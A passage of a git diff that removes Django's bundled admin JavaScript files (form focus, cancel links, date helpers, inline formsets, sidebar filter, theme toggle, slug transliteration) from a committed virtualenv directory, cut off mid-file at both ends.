CalendarNamespace; -} diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/cancel.js b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/cancel.js deleted file mode 100644 index 3069c6f2..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/cancel.js +++ /dev/null @@ -1,29 +0,0 @@ -'use strict'; -{ - // Call function fn when the DOM is loaded and ready. If it is already - // loaded, call the function now. - // http://youmightnotneedjquery.com/#ready - function ready(fn) { - if (document.readyState !== 'loading') { - fn(); - } else { - document.addEventListener('DOMContentLoaded', fn); - } - } - - ready(function() { - function handleClick(event) { - event.preventDefault(); - const params = new URLSearchParams(window.location.search); - if (params.has('_popup')) { - window.close(); // Close the popup. - } else { - window.history.back(); // Otherwise, go back. - } - } - - document.querySelectorAll('.cancel-link').forEach(function(el) { - el.addEventListener('click', handleClick); - }); - }); -} diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/change_form.js b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/change_form.js deleted file mode 100644 index 96a4c62e..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/change_form.js +++ /dev/null @@ -1,16 +0,0 @@ -'use strict'; -{ - const inputTags = ['BUTTON', 'INPUT', 'SELECT', 'TEXTAREA']; - const modelName = document.getElementById('django-admin-form-add-constants').dataset.modelName; - if (modelName) { - const form = document.getElementById(modelName + '_form'); - for (const element of form.elements) { - // HTMLElement.offsetParent returns null when the element is not - // rendered. - if (inputTags.includes(element.tagName) && !element.disabled && element.offsetParent) { - element.focus(); - break; - } - } - } -} diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/core.js b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/core.js deleted file mode 100644 index 10504d4a..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/core.js +++ /dev/null @@ -1,184 +0,0 @@ -// Core JavaScript helper functions -'use strict'; - -// quickElement(tagType, parentReference [, textInChildNode, attribute, attributeValue ...]); -function quickElement() { - const obj = document.createElement(arguments[0]); - if (arguments[2]) { - const textNode = document.createTextNode(arguments[2]); - obj.appendChild(textNode); - } - const len = arguments.length; - for (let i = 3; i < len; i += 2) { - obj.setAttribute(arguments[i], arguments[i + 1]); - } - arguments[1].appendChild(obj); - return obj; -} - -// "a" is reference to an object -function removeChildren(a) { - while (a.hasChildNodes()) { - a.removeChild(a.lastChild); - } -} - -// ---------------------------------------------------------------------------- -// Find-position functions by PPK -// See https://www.quirksmode.org/js/findpos.html -// ---------------------------------------------------------------------------- -function findPosX(obj) { - let curleft = 0; - if (obj.offsetParent) { - while (obj.offsetParent) { - curleft += obj.offsetLeft - obj.scrollLeft; - obj = obj.offsetParent; - } - } else if (obj.x) { - curleft += obj.x; - } - return curleft; -} - -function findPosY(obj) { - let curtop = 0; - if (obj.offsetParent) { - while (obj.offsetParent) { - curtop += obj.offsetTop - obj.scrollTop; - obj = obj.offsetParent; - } - } else if (obj.y) { - curtop += obj.y; - } - return curtop; -} - -//----------------------------------------------------------------------------- -// Date object extensions -// ---------------------------------------------------------------------------- -{ - Date.prototype.getTwelveHours = function() { - return this.getHours() % 12 || 12; - }; - - Date.prototype.getTwoDigitMonth = function() { - return (this.getMonth() < 9) ? '0' + (this.getMonth() + 1) : (this.getMonth() + 1); - }; - - Date.prototype.getTwoDigitDate = function() { - return (this.getDate() < 10) ? '0' + this.getDate() : this.getDate(); - }; - - Date.prototype.getTwoDigitTwelveHour = function() { - return (this.getTwelveHours() < 10) ? '0' + this.getTwelveHours() : this.getTwelveHours(); - }; - - Date.prototype.getTwoDigitHour = function() { - return (this.getHours() < 10) ? '0' + this.getHours() : this.getHours(); - }; - - Date.prototype.getTwoDigitMinute = function() { - return (this.getMinutes() < 10) ? '0' + this.getMinutes() : this.getMinutes(); - }; - - Date.prototype.getTwoDigitSecond = function() { - return (this.getSeconds() < 10) ? '0' + this.getSeconds() : this.getSeconds(); - }; - - Date.prototype.getAbbrevDayName = function() { - return typeof window.CalendarNamespace === "undefined" - ? '0' + this.getDay() - : window.CalendarNamespace.daysOfWeekAbbrev[this.getDay()]; - }; - - Date.prototype.getFullDayName = function() { - return typeof window.CalendarNamespace === "undefined" - ? '0' + this.getDay() - : window.CalendarNamespace.daysOfWeek[this.getDay()]; - }; - - Date.prototype.getAbbrevMonthName = function() { - return typeof window.CalendarNamespace === "undefined" - ? this.getTwoDigitMonth() - : window.CalendarNamespace.monthsOfYearAbbrev[this.getMonth()]; - }; - - Date.prototype.getFullMonthName = function() { - return typeof window.CalendarNamespace === "undefined" - ? this.getTwoDigitMonth() - : window.CalendarNamespace.monthsOfYear[this.getMonth()]; - }; - - Date.prototype.strftime = function(format) { - const fields = { - a: this.getAbbrevDayName(), - A: this.getFullDayName(), - b: this.getAbbrevMonthName(), - B: this.getFullMonthName(), - c: this.toString(), - d: this.getTwoDigitDate(), - H: this.getTwoDigitHour(), - I: this.getTwoDigitTwelveHour(), - m: this.getTwoDigitMonth(), - M: this.getTwoDigitMinute(), - p: (this.getHours() >= 12) ? 'PM' : 'AM', - S: this.getTwoDigitSecond(), - w: '0' + this.getDay(), - x: this.toLocaleDateString(), - X: this.toLocaleTimeString(), - y: ('' + this.getFullYear()).substr(2, 4), - Y: '' + this.getFullYear(), - '%': '%' - }; - let result = '', i = 0; - while (i < format.length) { - if (format.charAt(i) === '%') { - result += fields[format.charAt(i + 1)]; - ++i; - } - else { - result += format.charAt(i); - } - ++i; - } - return result; - }; - - // ---------------------------------------------------------------------------- - // String object extensions - // ---------------------------------------------------------------------------- - String.prototype.strptime = function(format) { - const split_format = format.split(/[.\-/]/); - const date = this.split(/[.\-/]/); - let i = 0; - let day, month, year; - while (i < split_format.length) { - switch (split_format[i]) { - case "%d": - day = date[i]; - break; - case "%m": - month = date[i] - 1; - break; - case "%Y": - year = date[i]; - break; - case "%y": - // A %y value in the range of [00, 68] is in the current - // century, while [69, 99] is in the previous century, - // according to the Open Group Specification. - if (parseInt(date[i], 10) >= 69) { - year = date[i]; - } else { - year = (new Date(Date.UTC(date[i], 0))).getUTCFullYear() + 100; - } - break; - } - ++i; - } - // Create Date object from UTC since the parsed value is supposed to be - // in UTC, not local time. Also, the calendar uses UTC functions for - // date extraction. - return new Date(Date.UTC(year, month, day)); - }; -} diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/filters.js b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/filters.js deleted file mode 100644 index f5536ebc..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/filters.js +++ /dev/null @@ -1,30 +0,0 @@ -/** - * Persist changelist filters state (collapsed/expanded). - */ -'use strict'; -{ - // Init filters. - let filters = JSON.parse(sessionStorage.getItem('django.admin.filtersState')); - - if (!filters) { - filters = {}; - } - - Object.entries(filters).forEach(([key, value]) => { - const detailElement = document.querySelector(`[data-filter-title='${CSS.escape(key)}']`); - - // Check if the filter is present, it could be from other view. - if (detailElement) { - value ? detailElement.setAttribute('open', '') : detailElement.removeAttribute('open'); - } - }); - - // Save filter state when clicks. - const details = document.querySelectorAll('details'); - details.forEach(detail => { - detail.addEventListener('toggle', event => { - filters[`${event.target.dataset.filterTitle}`] = detail.open; - sessionStorage.setItem('django.admin.filtersState', JSON.stringify(filters)); - }); - }); -} diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/inlines.js b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/inlines.js deleted file mode 100644 index cd3726cf..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/inlines.js +++ /dev/null @@ -1,359 +0,0 @@ -/*global DateTimeShortcuts, SelectFilter*/ -/** - * Django admin inlines - * - * Based on jQuery Formset 1.1 - * @author Stanislaus Madueke (stan DOT madueke AT gmail DOT com) - * @requires jQuery 1.2.6 or later - * - * Copyright (c) 2009, Stanislaus Madueke - * All rights reserved. - * - * Spiced up with Code from Zain Memon's GSoC project 2009 - * and modified for Django by Jannis Leidel, Travis Swicegood and Julien Phalip. - * - * Licensed under the New BSD License - * See: https://opensource.org/licenses/bsd-license.php - */ -'use strict'; -{ - const $ = django.jQuery; - $.fn.formset = function(opts) { - const options = $.extend({}, $.fn.formset.defaults, opts); - const $this = $(this); - const $parent = $this.parent(); - const updateElementIndex = function(el, prefix, ndx) { - const id_regex = new RegExp("(" + prefix + "-(\\d+|__prefix__))"); - const replacement = prefix + "-" + ndx; - if ($(el).prop("for")) { - $(el).prop("for", $(el).prop("for").replace(id_regex, replacement)); - } - if (el.id) { - el.id = el.id.replace(id_regex, replacement); - } - if (el.name) { - el.name = el.name.replace(id_regex, replacement); - } - }; - const totalForms = $("#id_" + options.prefix + "-TOTAL_FORMS").prop("autocomplete", "off"); - let nextIndex = parseInt(totalForms.val(), 10); - const maxForms = $("#id_" + options.prefix + "-MAX_NUM_FORMS").prop("autocomplete", "off"); - const minForms = $("#id_" + options.prefix + "-MIN_NUM_FORMS").prop("autocomplete", "off"); - let addButton; - - /** - * The "Add another MyModel" button below the inline forms. - */ - const addInlineAddButton = function() { - if (addButton === null) { - if ($this.prop("tagName") === "TR") { - // If forms are laid out as table rows, insert the - // "add" button in a new table row: - const numCols = $this.eq(-1).children().length; - $parent.append('<tr class="' + options.addCssClass + '"><td colspan="' + numCols + '"><a role="button" class="addlink" href="#">' + options.addText + "</a></tr>"); - addButton = $parent.find("tr:last a"); - } else { - // Otherwise, insert it immediately after the last form: - $this.filter(":last").after('<div class="' + options.addCssClass + '"><a role="button" class="addlink" href="#">' + options.addText + "</a></div>"); - addButton = $this.filter(":last").next().find("a"); - } - } - addButton.on('click', addInlineClickHandler); - }; - - const addInlineClickHandler = function(e) { - e.preventDefault(); - const template = $("#" + options.prefix + "-empty"); - const row = template.clone(true); - row.removeClass(options.emptyCssClass) - .addClass(options.formCssClass) - .attr("id", options.prefix + "-" + nextIndex); - addInlineDeleteButton(row); - row.find("*").each(function() { - updateElementIndex(this, options.prefix, totalForms.val()); - }); - // Insert the new form when it has been fully edited. - row.insertBefore($(template)); - // Update number of total forms. - $(totalForms).val(parseInt(totalForms.val(), 10) + 1); - nextIndex += 1; - // Hide the add button if there's a limit and it's been reached. - if ((maxForms.val() !== '') && (maxForms.val() - totalForms.val()) <= 0) { - addButton.parent().hide(); - } - // Show the remove buttons if there are more than min_num. - toggleDeleteButtonVisibility(row.closest('.inline-group')); - - // Pass the new form to the post-add callback, if provided. - if (options.added) { - options.added(row); - } - row.get(0).dispatchEvent(new CustomEvent("formset:added", { - bubbles: true, - detail: { - formsetName: options.prefix - } - })); - }; - - /** - * The "X" button that is part of every unsaved inline. - * (When saved, it is replaced with a "Delete" checkbox.) - */ - const addInlineDeleteButton = function(row) { - if (row.is("tr")) { - // If the forms are laid out in table rows, insert - // the remove button into the last table cell: - row.children(":last").append('<div><a role="button" class="' + options.deleteCssClass + '" href="#">' + options.deleteText + "</a></div>"); - } else if (row.is("ul") || row.is("ol")) { - // If they're laid out as an ordered/unordered list, - // insert an <li> after the last list item: - row.append('<li><a role="button" class="' + options.deleteCssClass + '" href="#">' + options.deleteText + "</a></li>"); - } else { - // Otherwise, just insert the remove button as the - // last child element of the form's container: - row.children(":first").append('<span><a role="button" class="' + options.deleteCssClass + '" href="#">' + options.deleteText + "</a></span>"); - } - // Add delete handler for each row. - row.find("a." + options.deleteCssClass).on('click', inlineDeleteHandler.bind(this)); - }; - - const inlineDeleteHandler = function(e1) { - e1.preventDefault(); - const deleteButton = $(e1.target); - const row = deleteButton.closest('.' + options.formCssClass); - const inlineGroup = row.closest('.inline-group'); - // Remove the parent form containing this button, - // and also remove the relevant row with non-field errors: - const prevRow = row.prev(); - if (prevRow.length && prevRow.hasClass('row-form-errors')) { - prevRow.remove(); - } - row.remove(); - nextIndex -= 1; - // Pass the deleted form to the post-delete callback, if provided. - if (options.removed) { - options.removed(row); - } - document.dispatchEvent(new CustomEvent("formset:removed", { - detail: { - formsetName: options.prefix - } - })); - // Update the TOTAL_FORMS form count. - const forms = $("." + options.formCssClass); - $("#id_" + options.prefix + "-TOTAL_FORMS").val(forms.length); - // Show add button again once below maximum number. - if ((maxForms.val() === '') || (maxForms.val() - forms.length) > 0) { - addButton.parent().show(); - } - // Hide the remove buttons if at min_num. - toggleDeleteButtonVisibility(inlineGroup); - // Also, update names and ids for all remaining form controls so - // they remain in sequence: - let i, formCount; - const updateElementCallback = function() { - updateElementIndex(this, options.prefix, i); - }; - for (i = 0, formCount = forms.length; i < formCount; i++) { - updateElementIndex($(forms).get(i), options.prefix, i); - $(forms.get(i)).find("*").each(updateElementCallback); - } - }; - - const toggleDeleteButtonVisibility = function(inlineGroup) { - if ((minForms.val() !== '') && (minForms.val() - totalForms.val()) >= 0) { - inlineGroup.find('.inline-deletelink').hide(); - } else { - inlineGroup.find('.inline-deletelink').show(); - } - }; - - $this.each(function(i) { - $(this).not("." + options.emptyCssClass).addClass(options.formCssClass); - }); - - // Create the delete buttons for all unsaved inlines: - $this.filter('.' + options.formCssClass + ':not(.has_original):not(.' + options.emptyCssClass + ')').each(function() { - addInlineDeleteButton($(this)); - }); - toggleDeleteButtonVisibility($this); - - // Create the add button, initially hidden. - addButton = options.addButton; - addInlineAddButton(); - - // Show the add button if allowed to add more items. - // Note that max_num = None translates to a blank string. - const showAddButton = maxForms.val() === '' || (maxForms.val() - totalForms.val()) > 0; - if ($this.length && showAddButton) { - addButton.parent().show(); - } else { - addButton.parent().hide(); - } - - return this; - }; - - /* Setup plugin defaults */ - $.fn.formset.defaults = { - prefix: "form", // The form prefix for your django formset - addText: "add another", // Text for the add link - deleteText: "remove", // Text for the delete link - addCssClass: "add-row", // CSS class applied to the add link - deleteCssClass: "delete-row", // CSS class applied to the delete link - emptyCssClass: "empty-row", // CSS class applied to the empty row - formCssClass: "dynamic-form", // CSS class applied to each form in a formset - added: null, // Function called each time a new form is added - removed: null, // Function called each time a form is deleted - addButton: null // Existing add button to use - }; - - - // Tabular inlines --------------------------------------------------------- - $.fn.tabularFormset = function(selector, options) { - const $rows = $(this); - - const reinitDateTimeShortCuts = function() { - // Reinitialize the calendar and clock widgets by force - if (typeof DateTimeShortcuts !== "undefined") { - $(".datetimeshortcuts").remove(); - DateTimeShortcuts.init(); - } - }; - - const updateSelectFilter = function() { - // If any SelectFilter widgets are a part of the new form, - // instantiate a new SelectFilter instance for it. - if (typeof SelectFilter !== 'undefined') { - $('.selectfilter').each(function(index, value) { - SelectFilter.init(value.id, this.dataset.fieldName, false); - }); - $('.selectfilterstacked').each(function(index, value) { - SelectFilter.init(value.id, this.dataset.fieldName, true); - }); - } - }; - - const initPrepopulatedFields = function(row) { - row.find('.prepopulated_field').each(function() { - const field = $(this), - input = field.find('input, select, textarea'), - dependency_list = input.data('dependency_list') || [], - dependencies = []; - $.each(dependency_list, function(i, field_name) { - dependencies.push('#' + row.find('.field-' + field_name).find('input, select, textarea').attr('id')); - }); - if (dependencies.length) { - input.prepopulate(dependencies, input.attr('maxlength')); - } - }); - }; - - $rows.formset({ - prefix: options.prefix, - addText: options.addText, - formCssClass: "dynamic-" + options.prefix, - deleteCssClass: "inline-deletelink", - deleteText: options.deleteText, - emptyCssClass: "empty-form", - added: function(row) { - initPrepopulatedFields(row); - reinitDateTimeShortCuts(); - updateSelectFilter(); - }, - addButton: options.addButton - }); - - return $rows; - }; - - // Stacked inlines --------------------------------------------------------- - $.fn.stackedFormset = function(selector, options) { - const $rows = $(this); - const updateInlineLabel = function(row) { - $(selector).find(".inline_label").each(function(i) { - const count = i + 1; - $(this).html($(this).html().replace(/(#\d+)/g, "#" + count)); - }); - }; - - const reinitDateTimeShortCuts = function() { - // Reinitialize the calendar and clock widgets by force, yuck. - if (typeof DateTimeShortcuts !== "undefined") { - $(".datetimeshortcuts").remove(); - DateTimeShortcuts.init(); - } - }; - - const updateSelectFilter = function() { - // If any SelectFilter widgets were added, instantiate a new instance. - if (typeof SelectFilter !== "undefined") { - $(".selectfilter").each(function(index, value) { - SelectFilter.init(value.id, this.dataset.fieldName, false); - }); - $(".selectfilterstacked").each(function(index, value) { - SelectFilter.init(value.id, this.dataset.fieldName, true); - }); - } - }; - - const initPrepopulatedFields = function(row) { - row.find('.prepopulated_field').each(function() { - const field = $(this), - input = field.find('input, select, textarea'), - dependency_list = input.data('dependency_list') || [], - dependencies = []; - $.each(dependency_list, function(i, field_name) { - // Dependency in a fieldset. - let field_element = row.find('.form-row .field-' + field_name); - // Dependency without a fieldset. - if (!field_element.length) { - field_element = row.find('.form-row.field-' + field_name); - } - dependencies.push('#' + field_element.find('input, select, textarea').attr('id')); - }); - if (dependencies.length) { - input.prepopulate(dependencies, input.attr('maxlength')); - } - }); - }; - - $rows.formset({ - prefix: options.prefix, - addText: options.addText, - formCssClass: "dynamic-" + options.prefix, - deleteCssClass: "inline-deletelink", - deleteText: options.deleteText, - emptyCssClass: "empty-form", - removed: updateInlineLabel, - added: function(row) { - initPrepopulatedFields(row); - reinitDateTimeShortCuts(); - updateSelectFilter(); - updateInlineLabel(row); - }, - addButton: options.addButton - }); - - return $rows; - }; - - $(document).ready(function() { - $(".js-inline-admin-formset").each(function() { - const data = $(this).data(), - inlineOptions = data.inlineFormset; - let selector; - switch(data.inlineType) { - case "stacked": - selector = inlineOptions.name + "-group .inline-related"; - $(selector).stackedFormset(selector, inlineOptions.options); - break; - case "tabular": - selector = inlineOptions.name + "-group .tabular.inline-related tbody:first > tr.form-row"; - $(selector).tabularFormset(selector, inlineOptions.options); - break; - } - }); - }); -} diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/jquery.init.js b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/jquery.init.js deleted file mode 100644 index f40b27f4..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/jquery.init.js +++ /dev/null @@ -1,8 +0,0 @@ -/*global jQuery:false*/ -'use strict'; -/* Puts the included jQuery into our own namespace using noConflict and passing - * it 'true'. This ensures that the included jQuery doesn't pollute the global - * namespace (i.e. this preserves pre-existing values for both window.$ and - * window.jQuery). - */ -window.django = {jQuery: jQuery.noConflict(true)}; diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/nav_sidebar.js b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/nav_sidebar.js deleted file mode 100644 index 7e735db1..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/nav_sidebar.js +++ /dev/null @@ -1,79 +0,0 @@ -'use strict'; -{ - const toggleNavSidebar = document.getElementById('toggle-nav-sidebar'); - if (toggleNavSidebar !== null) { - const navSidebar = document.getElementById('nav-sidebar'); - const main = document.getElementById('main'); - let navSidebarIsOpen = localStorage.getItem('django.admin.navSidebarIsOpen'); - if (navSidebarIsOpen === null) { - navSidebarIsOpen = 'true'; - } - main.classList.toggle('shifted', navSidebarIsOpen === 'true'); - navSidebar.setAttribute('aria-expanded', navSidebarIsOpen); - - toggleNavSidebar.addEventListener('click', function() { - if (navSidebarIsOpen === 'true') { - navSidebarIsOpen = 'false'; - } else { - navSidebarIsOpen = 'true'; - } - localStorage.setItem('django.admin.navSidebarIsOpen', navSidebarIsOpen); - main.classList.toggle('shifted'); - navSidebar.setAttribute('aria-expanded', navSidebarIsOpen); - }); - } - - function initSidebarQuickFilter() { - const options = []; - const navSidebar = document.getElementById('nav-sidebar'); - if (!navSidebar) { - return; - } - navSidebar.querySelectorAll('th[scope=row] a').forEach((container) => { - options.push({title: container.innerHTML, node: container}); - }); - - function checkValue(event) { - let filterValue = event.target.value; - if (filterValue) { - filterValue = filterValue.toLowerCase(); - } - if (event.key === 'Escape') { - filterValue = ''; - event.target.value = ''; // clear input - } - let matches = false; - for (const o of options) { - let displayValue = ''; - if (filterValue) { - if (o.title.toLowerCase().indexOf(filterValue) === -1) { - displayValue = 'none'; - } else { - matches = true; - } - } - // show/hide parent <TR> - o.node.parentNode.parentNode.style.display = displayValue; - } - if (!filterValue || matches) { - event.target.classList.remove('no-results'); - } else { - event.target.classList.add('no-results'); - } - sessionStorage.setItem('django.admin.navSidebarFilterValue', filterValue); - } - - const nav = document.getElementById('nav-filter'); - nav.addEventListener('change', checkValue, false); - nav.addEventListener('input', checkValue, false); - nav.addEventListener('keyup', checkValue, false); - - const storedValue = sessionStorage.getItem('django.admin.navSidebarFilterValue'); - if (storedValue) { - nav.value = storedValue; - checkValue({target: nav, key: ''}); - } - } - window.initSidebarQuickFilter = initSidebarQuickFilter; - initSidebarQuickFilter(); -} diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/popup_response.js b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/popup_response.js deleted file mode 100644 index fecf0f47..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/popup_response.js +++ /dev/null @@ -1,15 +0,0 @@ -'use strict'; -{ - const initData = JSON.parse(document.getElementById('django-admin-popup-response-constants').dataset.popupResponse); - switch(initData.action) { - case 'change': - opener.dismissChangeRelatedObjectPopup(window, initData.value, initData.obj, initData.new_value); - break; - case 'delete': - opener.dismissDeleteRelatedObjectPopup(window, initData.value); - break; - default: - opener.dismissAddRelatedObjectPopup(window, initData.value, initData.obj); - break; - } -} diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/prepopulate.js b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/prepopulate.js deleted file mode 100644 index 89e95ab4..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/prepopulate.js +++ /dev/null @@ -1,43 +0,0 @@ -/*global URLify*/ -'use strict'; -{ - const $ = django.jQuery; - $.fn.prepopulate = function(dependencies, maxLength, allowUnicode) { - /* - Depends on urlify.js - Populates a selected field with the values of the dependent fields, - URLifies and shortens the string. - dependencies - array of dependent fields ids - maxLength - maximum length of the URLify'd string - allowUnicode - Unicode support of the URLify'd string - */ - return this.each(function() { - const prepopulatedField = $(this); - - const populate = function() { - // Bail if the field's value has been changed by the user - if (prepopulatedField.data('_changed')) { - return; - } - - const values = []; - $.each(dependencies, function(i, field) { - field = $(field); - if (field.val().length > 0) { - values.push(field.val()); - } - }); - prepopulatedField.val(URLify(values.join(' '), maxLength, allowUnicode)); - }; - - prepopulatedField.data('_changed', false); - prepopulatedField.on('change', function() { - prepopulatedField.data('_changed', true); - }); - - if (!prepopulatedField.val()) { - $(dependencies.join(',')).on('keyup change focus', populate); - } - }); - }; -} diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/prepopulate_init.js b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/prepopulate_init.js deleted file mode 100644 index a58841f0..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/prepopulate_init.js +++ /dev/null @@ -1,15 +0,0 @@ -'use strict'; -{ - const $ = django.jQuery; - const fields = $('#django-admin-prepopulated-fields-constants').data('prepopulatedFields'); - $.each(fields, function(index, field) { - $( - '.empty-form .form-row .field-' + field.name + - ', .empty-form.form-row .field-' + field.name + - ', .empty-form .form-row.field-' + field.name - ).addClass('prepopulated_field'); - $(field.id).data('dependency_list', field.dependency_list).prepopulate( - field.dependency_ids, field.maxLength, field.allowUnicode - ); - }); -} diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/theme.js b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/theme.js deleted file mode 100644 index e79d375c..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/theme.js +++ /dev/null @@ -1,51 +0,0 @@ -'use strict'; -{ - function setTheme(mode) { - if (mode !== "light" && mode !== "dark" && mode !== "auto") { - console.error(`Got invalid theme mode: ${mode}. Resetting to auto.`); - mode = "auto"; - } - document.documentElement.dataset.theme = mode; - localStorage.setItem("theme", mode); - } - - function cycleTheme() { - const currentTheme = localStorage.getItem("theme") || "auto"; - const prefersDark = window.matchMedia("(prefers-color-scheme: dark)").matches; - - if (prefersDark) { - // Auto (dark) -> Light -> Dark - if (currentTheme === "auto") { - setTheme("light"); - } else if (currentTheme === "light") { - setTheme("dark"); - } else { - setTheme("auto"); - } - } else { - // Auto (light) -> Dark -> Light - if (currentTheme === "auto") { - setTheme("dark"); - } else if (currentTheme === "dark") { - setTheme("light"); - } else { - setTheme("auto"); - } - } - } - - function initTheme() { - // set theme defined in localStorage if there is one, or fallback to auto mode - const currentTheme = localStorage.getItem("theme"); - currentTheme ? setTheme(currentTheme) : setTheme("auto"); - } - - window.addEventListener('load', function(_) { - const buttons = document.getElementsByClassName("theme-toggle"); - Array.from(buttons).forEach((btn) => { - btn.addEventListener("click", cycleTheme); - }); - }); - - initTheme(); -} diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/unusable_password_field.js b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/unusable_password_field.js deleted file mode 100644 index ec26238c..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/unusable_password_field.js +++ /dev/null @@ -1,29 +0,0 @@ -"use strict"; -// Fallback JS for browsers which do not support :has selector used in -// admin/css/unusable_password_fields.css -// Remove file once all supported browsers support :has selector -try { - // If browser does not support :has selector this will raise an error - document.querySelector("form:has(input)"); -} catch (error) { - console.log("Defaulting to javascript for usable password form management: " + error); - // JS replacement for unsupported :has selector - document.querySelectorAll('input[name="usable_password"]').forEach(option => { - option.addEventListener('change', function() { - const usablePassword = (this.value === "true" ? this.checked : !this.checked); - const submit1 = document.querySelector('input[type="submit"].set-password'); - const submit2 = document.querySelector('input[type="submit"].unset-password'); - const messages = document.querySelector('#id_unusable_warning'); - document.getElementById('id_password1').closest('.form-row').hidden = !usablePassword; - document.getElementById('id_password2').closest('.form-row').hidden = !usablePassword; - if (messages) { - messages.hidden = usablePassword; - } - if (submit1 && submit2) { - submit1.hidden = !usablePassword; - submit2.hidden = usablePassword; - } - }); - option.dispatchEvent(new Event('change')); - }); -} diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/urlify.js b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/urlify.js deleted file mode 100644 index 9fc04094..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/urlify.js +++ /dev/null @@ -1,169 +0,0 @@ -/*global XRegExp*/ -'use strict'; -{ - const LATIN_MAP = { - 'À': 'A', 'Á': 'A', 'Â': 'A', 'Ã': 'A', 'Ä': 'A', 'Å': 'A', 'Æ': 'AE', - 'Ç': 'C', 'È': 'E', 'É': 'E', 'Ê': 'E', 'Ë': 'E', 'Ì': 'I', 'Í': 'I', - 'Î': 'I', 'Ï': 'I', 'Ð': 'D', 'Ñ': 'N', 'Ò': 'O', 'Ó': 'O', 'Ô': 'O', - 'Õ': 'O', 'Ö': 'O', 'Ő': 'O', 'Ø': 'O', 'Ù': 'U', 'Ú': 'U', 'Û': 'U', - 'Ü': 'U', 'Ű': 'U', 'Ý': 'Y', 'Þ': 'TH', 'Ÿ': 'Y', 'ß': 'ss', 'à': 'a', - 'á': 'a', 'â': 'a', 'ã': 'a', 'ä': 'a', 'å': 'a', 'æ': 'ae', 'ç': 'c', - 'è': 'e', 'é': 'e', 'ê': 'e', 'ë': 'e', 'ì': 'i', 'í': 'i', 'î': 'i', - 'ï': 'i', 'ð': 'd', 'ñ': 'n', 'ò': 'o', 'ó': 'o', 'ô': 'o', 'õ': 'o', - 'ö': 'o', 'ő': 'o', 'ø': 'o', 'ù': 'u', 'ú': 'u', 'û': 'u', 'ü': 'u', - 'ű': 'u', 'ý': 'y', 'þ': 'th', 'ÿ': 'y' - }; - const LATIN_SYMBOLS_MAP = { - '©': '(c)' - }; - const GREEK_MAP = { - 'α': 'a', 'β': 'b', 'γ': 'g', 'δ': 'd', 'ε': 'e', 'ζ': 'z', 'η': 'h', - 'θ': '8', 'ι': 'i', 'κ': 'k', 'λ': 'l', 'μ': 'm', 'ν': 'n', 'ξ': '3', - 'ο': 'o', 'π': 'p', 'ρ': 'r', 'σ': 's', 'τ': 't', 'υ': 'y', 'φ': 'f', - 'χ': 'x', 'ψ': 'ps', 'ω': 'w', 'ά': 'a', 'έ': 'e', 'ί': 'i', 'ό': 'o', - 'ύ': 'y', 'ή': 'h', 'ώ': 'w', 'ς': 's', 'ϊ': 'i', 'ΰ': 'y', 'ϋ': 'y', - 'ΐ': 'i', 'Α': 'A', 'Β': 'B', 'Γ': 'G', 'Δ': 'D', 'Ε': 'E', 'Ζ': 'Z', - 'Η': 'H', 'Θ': '8', 'Ι': 'I', 'Κ': 'K', 'Λ': 'L', 'Μ': 'M', 'Ν': 'N', - 'Ξ': '3', 'Ο': 'O', 'Π': 'P', 'Ρ': 'R', 'Σ': 'S', 'Τ': 'T', 'Υ': 'Y', - 'Φ': 'F', 'Χ': 'X', 'Ψ': 'PS', 'Ω': 'W', 'Ά': 'A', 'Έ': 'E', 'Ί': 'I', - 'Ό': 'O', 'Ύ': 'Y', 'Ή': 'H', 'Ώ': 'W', 'Ϊ': 'I', 'Ϋ': 'Y' - }; - const TURKISH_MAP = { - 'ş': 's', 'Ş': 'S', 'ı': 'i', 'İ': 'I', 'ç': 'c', 'Ç': 'C', 'ü': 'u', - 'Ü': 'U', 'ö': 'o', 'Ö': 'O', 'ğ': 'g', 'Ğ': 'G' - }; - const ROMANIAN_MAP = { - 'ă': 'a', 'î': 'i', 'ș': 's', 'ț': 't', 'â': 'a', - 'Ă': 'A', 'Î': 'I', 'Ș': 'S', 'Ț': 'T', 'Â': 'A' - }; - const RUSSIAN_MAP = { - 'а': 'a', 'б': 'b', 'в': 'v', 'г': 'g', 'д': 'd', 